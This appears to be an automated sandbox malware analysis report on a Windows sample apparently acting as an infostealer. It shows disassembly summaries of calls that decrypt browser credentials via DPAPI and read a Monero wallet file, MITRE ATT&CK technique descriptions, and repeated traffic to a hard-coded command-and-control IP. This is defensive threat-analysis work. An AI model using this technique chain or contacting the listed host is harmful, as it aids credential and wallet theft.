Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 18da07ee6eb72c8be53a3c17e3846db60f91c40e6ef4c571d232a07f15f9fb0b
Instruction ID: f16864498edd29476cdd834bcc17befc991811b897954d5af742f3f76783ca21
Opcode Fuzzy Hash: 18da07ee6eb72c8be53a3c17e3846db60f91c40e6ef4c571d232a07f15f9fb0b
Instruction Fuzzy Hash: 143166B6D05109ABCF08DFD4ED45AEFB7B9BF58340F444528E901A7241E7349E44CB62

Function 00128810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001305BF), ref: 0012885A
Process32First.KERNEL32(?,00000128), ref: 0012886E
Process32Next.KERNEL32(?,00000128), ref: 00128883

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

CloseHandle.KERNEL32(?), ref: 001288F1

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 69e5732c01b243eb10eebcd8e394c438bb371f5ef832844804883ac6f74a8742
Instruction ID: ee3224303daecd8d961ddd19c0573352504670c16e92bd7a87306d3a5050cf08
Opcode Fuzzy Hash: 69e5732c01b243eb10eebcd8e394c438bb371f5ef832844804883ac6f74a8742
Instruction Fuzzy Hash: A4317E71901228ABCB25DF94EC51FEEB378FF54700F504599F10AA61A0EB306A54CFA1

Function 0018FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0018FE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0018FE2C

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: 2c1c352df247a3e5fd5801c89220d09138e357d0281c171851d1a5950096bef8
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: 4F01D432109726FEFA3436745CC99673694EB117B5736433DF516801F2EF524D829640

Function 00129470 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00123D3E,80000000,00000003,00000000,00000003,00000080,00000000,?,00123D3E,?), ref: 0012948C
GetFileSizeEx.KERNEL32(000000FF,00123D3E), ref: 001294A9
CloseHandle.KERNEL32(000000FF), ref: 001294B7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 4a2d147b0639a9971c33b5c90bb8e34166d939edefe9e102043680b932bec1d2
Instruction ID: 1c6f09c5518692aa7589067bc855a04d88cbb90eea04c2eea659e3ef5cfdc68d
Opcode Fuzzy Hash: 4a2d147b0639a9971c33b5c90bb8e34166d939edefe9e102043680b932bec1d2
Instruction Fuzzy Hash: EFF04435E04348BBDB24DFB4EC89F5E77B9AB48714F10C654FA11AB1C0D774A6119B50

Function 0012CA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0012CA7E

Part of subcall function 0012C2A0: __amsg_exit.LIBCMT ref: 0012C2B0

__getptd.LIBCMT ref: 0012CA95
__amsg_exit.LIBCMT ref: 0012CAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 0012CAC7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 686272de927f9879300e9206ba5ac1dba56cde4a63b3137403268d8433db90c4
Instruction ID: 3ac53079b3edd5392bdbebaa20570b7e255316041bed5469647961020d8d8a3c
Opcode Fuzzy Hash: 686272de927f9879300e9206ba5ac1dba56cde4a63b3137403268d8433db90c4
Instruction Fuzzy Hash: AAF0B432948338DBD720FBB8B84374E33A0AF20720F110149F605A72D2FF2459A08BD6

Function 001904D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 001905DE

Strings

MOC, xrefs: 0019050A
RCC, xrefs: 00190512

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: f9badc0313689fa0ffeed56390faa0ec1e9c0054c6115a42dc3493e5258da317
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: 71414871900209EFDF16DF98DC81AAEBBB5BF48304F198199FA04A6251D335AA90DF51

Function 00125190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

lstrcat.KERNEL32(?,00000000), ref: 001251CA
lstrcat.KERNEL32(?,00131058), ref: 001251E7
lstrcat.KERNEL32(?,00E39400), ref: 001251FB
lstrcat.KERNEL32(?,0013105C), ref: 0012520D

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124B7C
Part of subcall function 00124B60: FindFirstFileA.KERNEL32(?,?), ref: 00124B93

Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC4), ref: 00124BC1
Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC8), ref: 00124BD7
Part of subcall function 00124B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00124DCD
Part of subcall function 00124B60: FindClose.KERNEL32(000000FF), ref: 00124DE2

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: abb2c7ba79b4122771c57d172d58e3e905a770096162075fbd4c849b3abf9e45
Instruction ID: c229e3164f6897abd90881b716f97bfb849493b67d9fbe5d7cc0e0d96af2b884
Opcode Fuzzy Hash: abb2c7ba79b4122771c57d172d58e3e905a770096162075fbd4c849b3abf9e45
Instruction Fuzzy Hash: 2C21FCB6904218ABCB65FBB0FC93EED733D9BA4300F404658B655971D1EF709AC88B91

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00129030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0011A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011A2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_0011A2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001172A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_001172A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0011C920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

